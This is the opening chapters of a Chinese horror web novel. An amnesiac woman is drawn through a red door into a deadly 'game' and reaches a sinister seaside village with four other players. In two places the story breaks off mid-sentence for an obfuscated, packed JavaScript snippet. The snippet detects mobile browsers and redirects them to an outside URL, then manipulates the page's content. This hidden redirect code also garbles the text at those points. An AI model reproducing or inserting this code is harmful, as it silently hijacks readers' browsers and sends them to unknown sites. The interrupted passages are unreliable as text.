《请您完成主线任务[无限]》 1. 入局 炎热六月,暴雨倾盆。 孟晗低着头快步往前走,鞋底踩过积水,发出黏腻的“啪嗒”声。头顶偶尔传来车辆碾压路面的闷响,像隔着一层厚厚的水泥板。 四五个骑电动车的外卖员从她身边呼啸而过。 “滴——!” 刺耳鸣笛擦着耳边掠过去。 污黑泥水猛地飞溅起来,泼在她裤脚和小腿上。 墙壁上的白瓷砖泛着水光,缝隙里长出细细黑霉,像腐烂后蔓延开的血管。 ——叮叮叮! 手机忽然响了。 孟晗从外套口袋里摸出手机。 黑色手机壳,边缘有明显磕碰磨损。 屏幕亮起。 来电人:【胡拜月】 孟晗“啧”了一声。 这是她目前的老板、房东,以及债主。 但两人实际上只认识了三天。 准确来说。 是她醒来后,只认识了三天。 因为她失忆了。 按下接听。 “喂?” 电话那头,胡拜月的声音柔软得像丝绸,带着一点轻轻上扬的尾音:“孟晗,你快到了吗?” “还有二十分钟。” “行,到了直接来居酒屋找我。今天下暴雨,客人反而多。” “好。” 胡拜月轻笑了一声。 “路上小心。” “你身体刚好,别又淋病了。” 孟晗沉默了一下。 三天前,她出了一场车祸。 醒来时,人已经躺在医院。医生说,她突然横穿马路,被正在开车的胡拜月撞上。胡拜月第一时间把她送去了医院。 命保住了。 但脑子坏了。 她什么都记不起来。 很多记忆像浸泡在污水里的照片,只剩模模糊糊的轮廓。每次试图深想,太阳穴都会传来针扎般的剧痛。 疼得她眼前发黑。 后来胡拜月替她垫付了全部医药费,还额外给了两万块赔偿。 然而,等到出院,孟晗才发现自己无路可去。 她的身上没有任何可以查到个人信息的证件,派出所也没有查到她的个人档案。甚至连“孟晗”这个名字都和居民信息系统对不上。 但,她确认自己叫孟晗,家好像住在一个叫什么花园的地方,母亲姓李…… 记忆太零碎,也不是一时半会儿能恢复的。 当务之急是找到吃的和住的地方。 于是,她再次联系了胡拜月。 胡拜月是个难得的好人,收留了她,给她了一间开间公寓,以及让她在自己的居酒屋打工赚钱。 这么善良的人可不多见了。 胡拜月听见话筒对面没声音,又说道:“哦对了,你说的父母情况我让派出所的朋友打听过了,住在金鹰花园的李爱华夫妇对吧?他们有孩子,从没有见过你,也没有听过你的名字,会不会你记忆混乱了?他们的女儿看过了你的照片,说不认识你,也没见过。” “你再好好想想,我帮你再问问。” 胡拜月的语气并不着急,仿佛个大姐姐,安慰一只无家可归的流浪猫。 地下通道入口处灌进一阵冷风。 吹得孟晗后背微凉。 不认识? 怎么可能。 这个名字,是她好不容易才从混乱记忆里翻出来的。她不可能平白无故记住陌生人的信息。 孟晗皱起眉。 头又开始隐隐作痛。 “……我知道了。” “谢谢。” 胡拜月声音依旧温柔:“别急,慢慢想。你现在先把身体养好。” “嗯,一会儿见。” 电话挂断。 地下通道重新恢复死寂。 孟晗站在原地,缓缓吐出一口气。 她抬起手。 指尖无意识擦过旁边潮湿的瓷砖墙。墙面滑腻冰冷,空气中飘荡着海洋的咸腥味,手指也变得黏黏糊糊的。 拿着手机,孟晗左右看了看,最终叹了口气。 这其实不是自己的手机,印象里她手机是深红色的壳子,背后镶嵌一面镜子。自己从没见过黑色的手机,而且还是5月新发售的最新型号,据说发售价要1.5万。倒是和胡拜月的手机型号一样,只不过她这部磕碰严重,边角磨损得厉害,像从战场废墟里捡出来的。 自己的面容可以解锁,清醒之后她就打开看过。 记得当在医院,她打开手机时,刺耳警报骤然炸响。 不是微信、短信、或者app的push内容。 如同安铂警报一样,手机发出爆鸣声,屏幕中央,只剩三行猩红色文字。 【您好,A187】 【地球特殊管理委员会809局提醒您】 【至此为止,A小队除您之外已全员阵亡。请您不要沉迷于主线任务,不要在NPC上浪费过渡时间,请不惜一切代价完成拯救任务,阻止世界毁灭】 【祝您好运,我们与您同在】 孟晗蹙眉,这是什么恶作剧吗? 然而下一秒,手机响起提示音:【任务已启动,请您活下去!】 孟晗瞳孔微缩。 什么东西? 恶作剧?病毒? 可下一秒。 手机再次震动。 【任务已启动】 【请您活下去】 “活下去”三个字瞬间变成鲜红。 颜色像血。 随后越来越大。 几乎占满整个屏幕。 手机开始发烫。 烫得像握着一块烧红的铁。 孟晗险些脱手。 紧接着。 屏幕骤然熄灭。 漆黑的手机屏幕里,只剩她自己的倒影。 苍白。 模糊。 地下通道内,孟晗低头看着自己手机,手指滑来滑去。 突然,划到全新的一页,陌生的app图标出现在页面上。 很奇怪的图标,是一扇朱红色的门——门很古旧,像旧时代宅院里的漆木门,两侧嵌着狮子头铜扣,铜面斑驳发黑,隐约像凝固的血。app下方注释名字写的【乐土】两个字。这样的诡异风格实在想不出来是哪门子的乐土。 孟晗盯着那个图标。 不知道为什么,她心里忽然生出一种极其强烈的违和感。 就像…… 这东西原本就藏在她手机里。 只是现在,才终于“醒”了。 她鬼使神差地点了下去。 嗡—— 手机瞬间黑屏。 死机了。 “啧。” 好像就是病毒。 好在自己没什么钱。 这年头诈骗越来越多了。 孟晗向出口走去。 耳边寒风刮过。 呼。 孟晗莫名的打了个哆嗦,看向身后。不是六月的暖风,寒冷刺骨,如同结冰海面上刮过的凌然刺骨的风。 刚才通道入口处车水马龙轰轰隆隆作响,现在静得落针可闻,四下空无一人,甚至连呼啸而过大的电驴声音都听不见了。只有两侧绿色的安全出口标识还幽幽亮着,冷光映在湿漉漉的瓷砖墙面上,像医院停尸间的灯。 空气里弥漫着一股潮湿的霉味。 隐约还有淡淡的鱼腥气。 像什么东西,在水里泡烂了。 有点奇怪,汗毛倒竖。 孟晗缓缓侧过身体,将后背贴紧墙壁,保证后背的安全,朝二十米外的出口快步挪去。 这个地下通道是死胡同结构。走到底后,需要从左右两侧的台阶离开。可现在,那两处出口却黑漆漆一片。 外面的天光像被什么东西吞掉了。 整条通道比刚才暗了许多。 只有墙壁高处几盏积满灰尘的旧灯泡,还发出昏黄黯淡的光。气息像上个世界的动物园室内馆的风格,潮湿、阴暗、霉菌肆意生长、隐约的动物臭味在四周蔓延。 不对劲。 似乎前面的空气也不流通了。 就像是出口消失了。 她停下脚步,头顶没有再传来车辆行驶的声音。 滴答。 前方的空气像凝固了一样。 连风都停了。 出口仿佛消失了。 她眯起眼睛,当下,闪过一个念头。 ——不能继续往前。 必须立刻回头。 动物的第六感总能让其在面对危险的时候第一时间逃跑。 她转过身。 下一秒。 ——啪! 头顶忽然炸开一颗灯泡。 玻璃碎片哗啦掉落。 几乎同时,兜里的手机疯狂震动起来。 嗡!嗡!嗡! 像有什么东西在里面拼命撞击。 孟晗本不想在这种时候分神,可那震动越来越剧烈,如同小丑疯狂剧烈的笑声,越来越大。 她一边后退,一边掏出手机。 然而,手机漆黑的屏幕上,猛然窜起一团火。 幽黄色。 像纸钱燃烧时的火焰。 与此同时,地下通道里那颗炸裂的灯泡,竟也“滋啦”一声重新亮了起来,断裂的灯丝燃起猩红火光,忽明忽暗,像垂死之人的眼睛。 屏幕里的火焰同步摇曳。 紧接着。 一张人脸,慢慢从火焰后浮现出来。 惨白。 僵硬。 黑洞洞的眼睛像两口枯井。 倒映出她自己的脸。 孟晗呼吸微微一滞。 下一秒,火焰熄灭。 屏幕亮起几行血红色文字。 火焰熄灭,她的名字出现在屏幕上。 【已激活】 【怪谈用户:孟晗】 【欢迎来到魇域乐土】 【凡人蜃影】(红色) 【幽冥悬棺】(灰色) 【绝境罗生】(灰色) 【重返人间】(灰色) 只有【凡人蜃影】是红色的,剩下都是不可选中状态。 这是什么恐怖游戏吗? 孟晗低声骂了一句,脚步却越来越快。 她现在只想离开这里。 地下通道里那股潮湿阴冷的气息,已经不像普通暴雨天该有的感觉了。 像有什么东西,正在黑暗里慢慢苏醒。 可等她快走到通道尽头时,脚步却猛地顿住。 不是因为天黑,而是入口楼梯和紧急出口灯光不见了。 一扇红色的门在潮气中凭空出现,和app图标一模一样。门扇上的红漆裂开无数细纹,斑驳、鲜艳,像干涸很久的血,又重新渗出了颜色,门框下沿泛着一种死人骨灰似的土白色。 门的两侧,挂着一对大红灯笼。 昏暗的红光投射在墙壁上,被拉扯成细长扭曲的影子,乍一看,像两颗吊在半空的人头。 门轻轻晃动。 发出的却不是木头摩擦声,更像某种潮湿柔软的东西,在被一点点撕开。 孟晗盯着那扇门,眉头缓缓皱起。 那材质根本不像木头,倒像晒干后的人皮。薄薄一层,被风吹得微微起伏,发出令人牙酸的摩擦声,像街边挂着的风干牛肉。又像殡仪馆里没烧完的纸扎。 这张纸门就立在孟晗正对面。 阻挡去路。 ——吱呀。 ——吱呀。 灯笼转了转。 孟晗眯起眼睛,盯着灯笼。 不是像人头,它本来就是人头。直到人头旋转了一百八十度,孟晗看清,那居然是自己的脸。 四目相对。 她的面孔被人做成了纸糊小人头,黑白分明的眼珠直勾勾盯着她,嘴角却高高翘起,露出一个死人般僵硬的笑。像有人把她的脑袋砍下来,做成了祭祀用的纸人灯笼。 孟晗呼吸一滞,回头看去。 身后。 竟也出现了一模一样的红门。 前后封死。 无路可退。 无论选择向前还是后退,她只有一条路——推门进入。 手机响起。 来电人:【**未知**】 孟晗接起电话,没出声。 电话那头先传来海浪声。 哗啦。 哗啦。 潮水拍岸,空旷又遥远。 随后,一个女人开口了。 声音温柔得像情人耳语。 “你来了吗?” “你快推门进来啊。” “孟晗。” “孟晗,快来啊。” 声音很熟悉,但孟晗想不起来在哪里听过。 不是胡拜月的声线,也不是医生护士的音色。 前后无路,既然这样, 孟晗迈步走向朱红色大门。 十米。 五米。 三米。 越靠近,那股海水腐烂后的腥味就越重,像无数死鱼泡在涨潮后的淤泥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586849|205314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里。 ——嘎吱。 门自己开了。 门后的景象模糊不清,冰冷、潮湿的海风迎面扑来,强烈得让她的皮肤瞬间变得粘腻,仿佛被浸泡在死水中。身体不由自主地被那股风拉了进去,在身体穿越门的刹那,门消失了。 手机app提示: 【凡人蜃影怪谈:海女咒歌】 【已开始】 …… 四周弥漫出雾气,孟晗发现前方不远处竟站着四个人。 三男一女。 其中一名身穿纯白短袖的男人回头打了个招呼:“新人?” “过来吧。” 孟晗狐疑扫视了一眼。 男人笑着说:“我叫七尾,也是乐土用户。” 他笑得和善,点点胸膛自我介绍:“这次加上你一共五个人,我、你、张睿、陈昊、瑶瑶。” 另外两个男人状态明显不对。 一个脸色灰白。 另一个抖得厉害,像下一秒就会崩溃。 剩下那个女孩一直偷偷观察孟晗,双手死死攥着袖口。 孟晗仍然没说话。 名叫陈昊的玩家看了看孟晗,注意到什么说道:“来了来了,来了!” 雾气中,颤颤巍巍走出来一个纸人。 纸人大约一米高度,看样子是个身穿粉衣的束发女子,眉眼上挑,手摆出观音姿态,嘴巴一张一合,发出尖锐的,如同指甲抓挠黑板的声响:“月下潮生,潮殁人心。重游赏景,如梦如幻。若欲远行,必断所系。” “海女咒歌。” “拯救期限:七日。” “恭祝好运。” 话音刚落,纸人开始自燃。 灰烬飘向天空,周围的迷雾渐渐散开。 孟晗低头看表,原本应该是下午16:07分。 现在变成了19:21分。 时间变了。 不是现实世界吗? 孟晗:“拯救期限?” “没人知道为什么这么叫。”七尾摊开手,语气却很平静,“不过按照以往经验来看,这代表生存时限。只要活过七天,玩家就能回到现实世界。” 灰白色的潮雾像活物一样,从众人脚边一点点漫过去,沾湿裤脚。空气里弥漫着海水腐烂后的咸腥味,闻久了,甚至有种尸体泡涨后的腥臭。 陈昊已经低下头,拼命在一个巴掌大的小本子上记录,生怕漏掉一个字。 七尾问:“记下来了?” “都记下来了。”陈昊写完后,额头全是汗,“这种提示最好全记下来,真遇上东西的时候,说不定能保命。” 他抬头望向孟晗。 “你也记一下,你是新人,别拖后腿。” 七尾咳嗽两声,像是早就习惯了这样的紧张局面,说道:“谁都是从新人过来的,既然已经开始了,咱们就齐心协力赶紧破局。” 他又对孟晗说:“自我介绍一下吧,不需要真名,我们好称呼你。” “孟晗。”她说道。 不是真名,也不一定是假名。 如果有人知道这个名字,也许会给失忆的自己一些线索。 她果断还是选择了“孟晗”这个名字。 七尾点点头:“你和张睿都是第一次,我还是简单介绍一下这里的规则,我们将乐土又称为怪谈。我们会被传送到怪谈中,根据刚才纸人嘴里的任务提示,也就是‘生路’,找到任务中的规律,然后活下来。这次的任务要求是五天,我们要活过五天,仅此而已。哦对了,这个游戏的核心就是保证自己不被鬼杀死就可以了。” 孟晗若有所思,看向自己手机。 手机有信号。 七尾:“你打一个试试就知道了。” 孟晗:“嗯?” 七尾:“没用的。这里的电话打不出去,只能联系怪谈里的人。” 孟晗轻声:“谢谢,知道了。” 很像无限恐怖类游戏。 听这个七尾的语气,参加怪谈似乎已经轻车熟路了。 她表现得倒是很淡定,脚下泥土的湿冷触感,空气里的腥味,甚至连呼吸时肺部的沉闷感,都真实得不像幻觉。自从进入这里后,她反而有种诡异的平静。 像漂泊很久的人,终于抵达了某个本该属于自己的地方。 七尾观察着这个奇怪的女人,年纪轻轻,不知道是胆子大还是脑子傻。 孟晗问:“我为什么会来这里?” 七尾摇头:“被选中了,仅此而已,这就是命。” 这话好似触到了逆鳞,一旁瑟瑟发抖的张睿突然爆发出尖叫:“我就不应该点那个该死的app!我还不想死!我本来和同学约好看电影的,求求你们让我回去吧,让我回去吧。” 陈昊看起来有35岁,像进入进攻状态的野狗,被他吼的有点崩溃:“别喊了!你现在去死,我不拦着!有完没完,你已经哭了十分钟了。” 孟晗扫视过他们,最后目光又落在七尾身上,只有这个男人看起来好交流一些:“这里也是现实吗?” 七尾笑笑:“不是,因为至少现实里,没有鬼。走吧,天已经黑了,夜色开局,危险系数会很高。” 他们面前只有一条小路。 夜幕低垂,月亮隐隐透着一丝微红色的光亮。气温大概二十度左右,湿度很大。孟晗几乎一闻就断定这里靠海,海带和鱼虾的腥味很重,和刚才地下通道飘来的风如出一辙。 小路坑坑洼洼,泥泞不堪,两侧荒草疯长,足有一人高。风吹过去时,草叶窸窸窣窣摩擦,像有人藏在里面缓慢爬行。 七尾走在前面,孟晗走在队伍最后。 走了一会儿,黑漆漆一片看不见路了,手机手电筒照射不到前面两米的位置,如果是悬崖,他们今夜都会死在这里。 七尾:“谁有手电筒?” “这种情况谁会带……”陈昊话说到一半,忽然愣住。 “等等。” “张睿,你包旁边插着的是什么?” 张睿一怔。 “什么包?” 下一秒。 他像察觉到了什么,浑身猛地一抖。 ——砰。 一个黑色双肩包重重砸在地上。 崭新的手电筒从侧袋滚落出来。 骨碌碌滚进泥水。 张睿脸瞬间白了。 “不、不可能……” “我根本没有背包!” 他声音都变了调。 “我是去看电影的!我怎么可能背这种东西?!” 所有人都沉默下来。 2. 箱岩村 张睿这句话一出口,所有人几乎同时低头。 下一秒,陈昊猛地爆了句粗口。 “操——我身上怎么也有?!” 他的声音明显发抖。 直到这时他才发现,自己肩后不知何时竟多出了一个灰黑色背包。背带湿漉漉贴在衣服上,像早就已经背了很久。 可问题是,他根本不记得自己带了包。 陈昊头皮一阵发麻。 这是他第二次进入怪谈,可从没人提过,玩家身上会莫名其妙多出东西。 会不会从这一刻他们就被厉鬼盯上了,这会不会和死亡顺序有关?他听过别人讲过一个怪谈——一开局,背包里多出女人头发的玩家会先遭到女鬼的杀害。 他吓得赶紧去看七尾,谁知七尾眉头微皱,从兜里摸出一张纸:“我这里多一个车票,是从娘娘庙到客运北站,看不清姓名。这两个地点不知道是哪里。” 七尾很淡定:“你们俩呢?” 孟晗摸兜,也有东西。 瑶瑶神情紧绷,慢慢从衣服口袋里掏出一个塑料卡套:“我多了一个学生证,但其他信息看不清了……写的好像是西海职业技术学院……” 孟晗也低头摸了摸口袋,里面有张折叠得整整齐齐的纸:“旅游攻略。” 旅游攻略上的字也并不清晰,纸张受了潮,边缘已经发软,但可以看清楚三个大字:箱岩村。 孟晗对着微弱的月光,努力辨析上面的字迹:“风景优美,出片绝佳,村长民宿电话44-***481*,其他的字看不清楚了。” 他们每个人身上都多出了东西。 一个人多会让人担心。 一群人都多出来,也就分担风险了。 这是什么隐喻吗? “先别自己吓自己。”七尾开口,“至少现在看来,大家都有。” “把手电打开吧。” “这种山路,摸黑走更危险。” 张睿一听,几乎像是把烫手山芋一样将手电塞了过去。 “给你!你拿着!” “我不要这东西!” 七尾接过手电,掂了掂。 啪嗒。 光亮刺破黑暗。 可那束光却像被夜色吞噬一样,只能勉强照出前方几米。 更远的地方,仍旧浓黑一片。 “跟紧我。”他说完,率先往前走。 夜色漆黑,安安静静没有虫鸣鸟叫,远处海浪拍打岩石的声音依稀传来。张睿和陈昊几乎贴在七尾后背,瑶瑶抱着书包快步走,孟晗脚步加速。 走了大概十分钟。前方忽然出现一道模糊的人影,那人拄着拐杖,背高高隆起,几乎弯成九十度,远远看去,像背了个巨大龟壳。 他手里同样提着手电。 刺目的白光猛地照过来。 七尾反应极快,侧身避开。 结果光束“刷”地一下落在张睿脸上。 “啊——!” 张睿被吓得惨叫。 老人却像没听见一样:“怎么这么晚!客运车应该一个小时前就到达了,天黑以后山路不好走,要不是我来接你们,你们肯定得迷路。” 老人眼球浑浊,皮肤粗糙,但说话中气十足。 七尾倒像早就习惯这种场面,语气自然:“老人家,路不好走,实在不好意思。” “嘿呀,快点吧!”老人一杵拐杖,“我就知道你们四个会碰在一起,毕竟这地方,一天就一趟客运。” 他说到这里,忽然停住。 浑浊的眼睛缓缓扫过众人。 脸上的皱纹一点点绷紧,突然问道:“不对,怎么多出来一个?” “什么?”陈昊发颤,艰难回头,什么多一个? 人吗? 他们怎么可能多出来一个? “我们不是一直五个人吗?” 老人却没回答。 只是死死盯着他们。 孟晗忽然开口:“您原本接的是四个人?” 老人明确说四个人,也就是他接到消息只有四个人来访,但突然变成五个人,他惊讶情有可原。 孟晗环顾所有人。 他们有五个,但村长以为是四个。 多了一个? 孟晗目光幽幽,歪着脑袋。 瑶瑶忐忑观察着周围,倒吸一口凉气,刚开局就玩这么大吗?她又看向孟晗,这个新人比她想象的要镇定许多,瞳孔漆黑,不知道在想什么。但瑶瑶隐约从她身上嗅到了一丝不好惹的戾气。 孟晗双手插兜。 如果这是一场游戏的话,为何要这么设置? 还是说,在场的怪谈玩家里,有一个不是人。 是假装同伴的鬼? 七尾蹙眉,打量着其他玩家。 瑶瑶微微后退了一步。 可能因为下过雨,山路不少地方坑坑洼洼还有水潭。 看七尾和瑶瑶的反应,孟晗知道自己猜对了。 怎么判断是不是鬼? 月光之下,孟晗眯起眼睛看向每个人背后。 瑶瑶、陈昊,有影子。 七尾,有影子。 张睿,正好站在一处截断小路的水洼前面,水洼延伸至黑暗的草丛中,无法判断有…… 等一下。 不,他没有影子。 月光惨白,斜斜照下来,七尾手中的手电筒也晃着光。按理说,人只要站在那里,就一定会在水面留下倒影。可那片积水却像一块冰冷漆黑的镜子,只映出了光,却映不出张睿。 空荡荡的。 像有什么东西,把“他”从水里抹掉了。 张睿绝对有问题,孟晗可以断定这一点。 而张睿本人显然毫无察觉,还在惊恐地往陈昊身边缩,脸色惨白,肩膀不断发抖,像是下一秒就会哭出来。 可就在他踉跄侧身的一瞬间—— 水面里,忽然又多出了一道影子。 出现了。 孟晗眸光微凝。 她不觉得这是错觉,毕竟她有自信,自己的判断绝对不会出错的。 夜风从山路间吹过,孟晗没说话,只是低下头,往回走了两步。 水面轻轻晃动,映出一层模糊的白光。 然后。 一个影子缓缓浮了上来。 不是她。 是张睿。 水里的“张睿”正直勾勾盯着她。 那张脸惨白浮肿,嘴角一点点裂开,越扯越大,几乎咧到了耳根后面,像是有人硬生生把皮肉撕开。牙齿森白,缝隙里却渗着发黑的污迹,仿佛被墨汁浸泡过。 最诡异的是那双眼睛。 昏黄、浑浊。 像死了很多天后,被海水泡烂的鱼眼。 它在笑。 隔着一层薄薄的水,死死盯着孟晗。 七尾发现孟晗低着头看向水洼,问道:“怎么了?” “张睿”凝视着孟晗,食指缓缓竖在嘴唇前。 ——嘘。 “他”做出了“噤声”的警告。 孟晗脸色如常,不动声色:“没什么。” 七尾已经朝这边走来。 手电筒的光扫过水面。 刹那间,那张扭曲的人脸消失了。 水里只剩下孟晗一个人的倒影。 七尾:“有事?” “没,看错了。”孟晗说。 鬼。 这个怪谈存在货真价实的鬼。 啧,有点意思。 这是她冒出的第一个想法。 车祸、失忆、突然出现的乐土、地下通道里的红门……再到现在。像一条断裂已久的线,终于重新接上。既然命运把她送进来,那她就看看,这地方到底藏着什么东西。 长拄着拐杖站在山路边,浑浊的眼睛慢慢扫过他们几人。 那目光阴沉沉的。 像在数人头。 一遍。 又一遍。 半晌,他才咧开嘴,露出发黄的牙:“五个啊,五个就五个,家里还有地方,房间都给你们安排好了,赶紧跟上。” 七尾问:“您是村长?” “我是箱岩村村长,姓林。村里唯一的民宿就是我家的,你们这些外地游客,平时也都住我那儿。”老人拖着嗓子应了一声。 孟晗忽然想起刚才七尾拿出的车票。 ——娘娘庙。 她抬眸:“娘娘庙在哪?” 村长脚步一顿,拐杖停在泥地里:“你们要去娘娘庙?” 孟晗没回答,只是看着他。 老人脸上的皱纹在月光下层层堆叠,半晌才慢吞吞开口:“那你们可走错地方了。娘娘庙不在这边。在海对面,五十多里地呢。你们坐的客运,不可能到箱岩村。” 七尾神色微变。 也就是说,他那张车票,目的地根本不是这里。 孟晗眸色渐深。 似乎每个人都有问题。 村长熟悉路,走了十五分钟,众人终于看到了位于海边斜坡上的村庄。 密密匝匝的房子如同一坨庞然大物,雾气缠绕其间,月光惨白地倾泻下来,却照不透那片浓稠的黑。海面更是黑得诡异,没有一丝波光,像一大片腐烂发臭的沥青,缓缓蠕动着。 进入村庄后,脊背上的寒意越发明显。 “我们到了。”村长声音沙哑低沉,像是从湿土深处一点点刨出来的,“这就是箱岩村。” 有些木梁已经塌陷,窗框腐烂发黑,墙壁被海风侵蚀得坑坑洼洼,大片大片的青苔与海藻黏附其上,像尸体表面发霉的斑块。 村庄里没有亮灯,就连人家也暗成一片。路径狭长逼仄拥挤,如同人类盘起来的脐带。 “好黑啊。”陈昊忍不住低声开口。 “村子里没有路灯。”村长说,“年轻人都搬走了,半个村子空着,也没人愿意花钱装这些东西。我们都睡觉早,也没什么夜间活动。” 孟晗看了时间,现在是20:30,确实有点太早了。 不远处,忽然亮起了一盏灯——一栋三层小楼立在坡道尽头,昏黄灯光从二楼窗户透出来,在大片黑暗中格外刺眼,像黑夜里突然睁开的一只眼。 事出反常必有妖,如果大部分人家都亮着灯,光亮证明是安全的,但眼下,村子黑乎乎的,证明光明带来不祥,就算是新人,孟晗也明白这个道理。 五人脚步开始迟疑。如果都是黑暗,那么证明黑暗是常态,光明可能会带来危险。那么,要不要去村长家住?如果他们住在这些看起来黑暗的、空无一人的房间,是不是会安全一些? 多个地方也多一条后路。 陈昊四处张望。 瑶瑶也靠近了孟晗一点,声音很轻,微微弱弱:“姐,我好像觉得不太对劲。” 一进入村子,瑶瑶浑身上下的鸡皮疙瘩都冒起来了。她从小就是个敏感的人,奶奶以前找过一个顶仙的婆子给她看命,说她阳气弱,容易撞东西。虽然这些年她没真正见过鬼,但总会碰上一些解释不了的事。比如,空无一人的寝室内梳子突然落地,或者自己的出租屋电视在半夜突然打开之类的事情。 她靠着这种敏锐的直觉,硬生生在前几个怪谈里活了下来。而现在,这种危险感,已经强烈到了极点。 瑶瑶下意识又往孟晗身边贴近了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586850|205314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一点。 说实话,自己这个反应很奇怪。明明只是个新人,可孟晗身上的气场却异常稳定,只要靠近她,那种浑身发冷的恐惧感都会减弱许多。 孟晗侧眸。 瑶瑶忐忑:“姐,我觉得有什么东西在看着我们。” “嗯。”她也感受到了。 一道道视线藏在黑暗里,冰冷、粘稠,缓慢扫过他们的身体,像庙里落满灰尘的神像。明明一动不动,却始终在注视着活人。 孟晗笃定,他们没有在睡觉。 这样的黑暗中,最适合藏人了。 那些低矮逼仄的窗户后面,肯定正贴着一张张脸,在悄无声息地窥视他们这群外来者。像等猎物踏进陷阱的鬣狗,耐心、阴冷,又带着某种令人作呕的兴奋。 猥琐。 孟晗快走两步,一把从七尾手里夺过手电筒。 啪! 手电筒灯光倏然对准身旁的房屋窗户! “你——” 啪! 刺目的白光骤然亮起。 光柱猛地扫向旁边那栋漆黑的民宅! 村长脸色骤变,几乎是失声厉喝:“你做什么!” 黑漆漆的玻璃后登时出现了三个人影。 一男一女,中间抱着一个孩子,是一家三口。 他们一动不动,隔着黑暗观察着他们,没有说话,没有动作,甚至连眼睛都没眨一下。瞳孔缩成黄豆大小,灰白的眼珠像泡在福尔马林里的死鱼眼。 “卧槽!” 陈昊头皮瞬间炸开,“真有人!” 张睿更是吓得声音都劈了:“他们一直在看我们?!” 没人回应。 因为下一秒,孟晗已经转动手腕。 手电筒的光从那扇窗户缓缓移开,扫向旁边另一栋房子。 那里,也有人。 再往前。 还有人。 一扇扇窗户后,全都站着黑影。 有些屋子里甚至密密麻麻挤满了人,狭窄的窗框内只能塞下半张惨白的脸。他们肩膀贴着肩膀,额头压着额头,像一堆被塞进罐头里的雕塑,静静站在黑暗里。 如同石膏般,毫无生气的注视着他们。 好似匪夷所思的黑白恐怖漫画。 七尾脸色也沉了下来,但还算镇定,转头看向村长:“没睡啊,村长。” 村长眉头皱得死紧,眼神闪烁了一瞬,随后硬邦邦道:“没见过外面来的人而已,不用管他们。” 说完,他头也不回领着众人往前走,不想多做解释。 孟晗仍旧举着手电,隔着玻璃,与黑暗中的那些“村民”对视。 ——吱呀。 窗户年久失修,被吹开了一个小缝。 不是人为推开的。 因为孟晗看得很清楚,屋子里的人根本没动。 可就在那缝隙出现的瞬间,一道细细的、稚嫩的声音,从里面飘了出来,就好像孩子贴在耳边数数。 “五个。” “五个。” “五个五个。” 什么五个? 五个人吗? 那窗后的小孩忽然咧开嘴,挥舞双手,笑得异常开心。屋子里的夫妻同时赶紧捂住了小孩的嘴。 小孩仍然嘀嘀咕咕的笑,声音闷在他父母的掌心里,断断续续往外钻。 “四个。” “四个四个。” “会是四个吗?” 孟晗:“什么四个?” 砰! 窗户猛地关死。 紧接着,布满霉斑的窗帘被“唰”地拉上。 只有那句“四个”,还像根针一样扎在人耳朵里。 四个。 他们明明有五个人。 那为什么最后会是四个? 终于到达村长家,黄色的灯光如同回光返照的一点点明媚,看得人心慌。 村长家很大,是三层小楼,小楼旁边的一户人家也很有钱,甚至从建筑外观看比村长家还要阔绰,又是雕龙又是画海浪,只不过那户人家也黑着灯,不知道是不是也在窥探他们。 这栋房子是专门做民宿的盖的,自己家住在小楼对面的合院内。 屋内很暖和。 暖黄灯光照着客厅,木质沙发铺着柔软坐垫,桌上摆着贝壳和海螺做成的装饰品。只是墙角爬着些细细密密的黑霉,在白墙上蔓延,像一片干涸后的血管。 村长说:“我就不收你们押金了,不过之前我以为四个人,就收拾出来了三间屋子。两个女娃娃一起的,你们两个男人一人一间。或者你们自己分配的,还是三间。” 说完,钥匙摆在桌子上:“有厨房,厨房锅里是给你们热的饼和熏鱼,可以尝尝。时候不早了,有事可以去对面找我,或者给我打电话。屋子都是我老婆刚换的床单,有24小时热水,我们这算环境很好的民宿了。” “好了,我也该回去了,我还得照顾我的小孙子。”村长虽然语气听起来不着急,但脚步已经往外挪动了。 显然是半点都不想留下。 “等一下,”七尾叫住他,“我们初来乍到,人生地不熟,这村子里有没有禁忌,我们入乡随俗,需要遵守的。” 村长脚步一顿,矢口否认:“没有。我们是旅游景点,又不是迂腐的村子。虽然路难走些,但又不是穷乡僻壤。你们愿意的话,也可以去海边看看,今晚月色不错。这栋楼也可以看见海,这样的景色可是很难得。” 他没再多说什么,脚步飞快离开了。 村长前脚刚走。 啪。 孟晗把灯关了。 呼,这下感觉好多了。 3. 火柴小人 黑暗。 靠海的小楼内只有黑暗。 窗帘拉得严严实实,只有一点惨淡月光从缝隙间漏进来,勉强勾勒出家具模糊的轮廓。 五人坐在一层的客厅内,围成一团。 七尾开口:“尽量不要开灯,忍一忍,等白天就好了。” 陈昊抱着胳膊,牙齿还在轻轻打颤,刚才那些村民窥视他们的画面,依旧死死黏在脑海里。 七尾扫了众人一眼:“先说住的问题吧。” 给了房间,就意味着最好要住进去。如果五个人全缩在客厅,说不定反而会触发什么禁忌。怪谈里最忌讳自作聪明。 瑶瑶突然开口:“我和孟晗睡,你们三个自己定。” 孟晗没有反对。 虽然她很想一个人睡,但张睿有问题,陈昊太容易大惊小怪,七尾身份不明,那么只剩下瑶瑶一个选择。 从体力上来说,如果瑶瑶是鬼,她也不觉得自己会吃亏,自己可以制服她。 还不错的选择。 不过她没想到瑶瑶这个性格会突然开口说话,看起来她很内向,是那种放在人群中就找不到的透明人。 眼看必须有一个人落单,张睿赶紧说道:“那我……” 